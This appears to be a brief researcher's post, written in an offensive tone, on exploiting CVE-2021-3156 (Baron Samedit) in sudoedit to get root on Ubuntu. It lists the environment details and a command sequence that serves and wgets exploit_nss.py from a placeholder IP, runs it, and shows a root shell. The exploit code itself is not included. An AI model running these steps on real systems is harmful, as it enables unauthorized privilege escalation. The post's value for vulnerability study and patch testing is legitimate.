
Python proof-of-concept exploit for CVE-2021-3156 (Baron Samedit), a sudoedit heap overflow enabling local privilege escalation to root on vulnerable sudo builds.
📅 Дата: 2025-06-08
✍️ Автор: @TopskiyPavelQwertyGang
🧠 Security Researcher | Red Team Enthusiast
sudoedit (sudo)A heap overflow in sudoedit allows a local user to gain root access
when running the sudoedit command with specially crafted parameters.
Exploitation is active for sudo versions < 1.9.5p2, including popular Ubuntu/Debian/CentOS images.
Even with ASLR enabled, the vulnerability remains exploitable.
OS : Ubuntu 20.04.3 LTS
glibc : 2.31 (tcache ON)
sudo : 1.8.31 (vulnerable)
ASLR : 2 (enabled)
glibc and sudo were checked:ldd --version
sudo --version
python3 -m http.server 80
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py
$ python3 exploit_nss.py
# whoami
root
Exploitation of CVE-2021-3156 remains possible even with ASLR active, if glibc ≥ 2.26 and sudo is a vulnerable version.
The most stable proved to be the exploit_nss.py exploit, which succeeds on the first try with a correct NSS configuration.
🧨 System under control.